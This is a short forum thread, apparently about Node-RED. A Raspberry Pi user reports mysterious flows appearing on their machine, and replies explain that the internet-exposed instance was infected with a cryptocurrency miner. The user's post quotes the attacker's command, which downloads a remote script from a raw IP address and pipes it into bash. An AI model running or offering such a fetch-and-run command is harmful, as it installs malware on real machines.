Node Red create Flows "automatically"

I have node red installed on Raspberry and every day when i open the monitor there is a new flow with unknown name access a server http://192.99.142.240:8220/mr.sh | bash -sh. Any Idea the reason for that?

Did you read the big blue banner?

You left your Node-RED computer exposed to the internet and someone has used that flow to infect your machine with a cryptocurrency miner.

The safe thing to do is to wipe your computer of everything and start again. If you wish to expose Node-RED directly to the internet you need to take precautions first

@pcpaulo please read this post - ⚠️ Malware Infecting unsecured Node-RED servers

It has been displayed at the top of every page on the forum for the last week; unless you chose to close it without reading it.

Thank you for the information i will take care about it.

Thank you for the information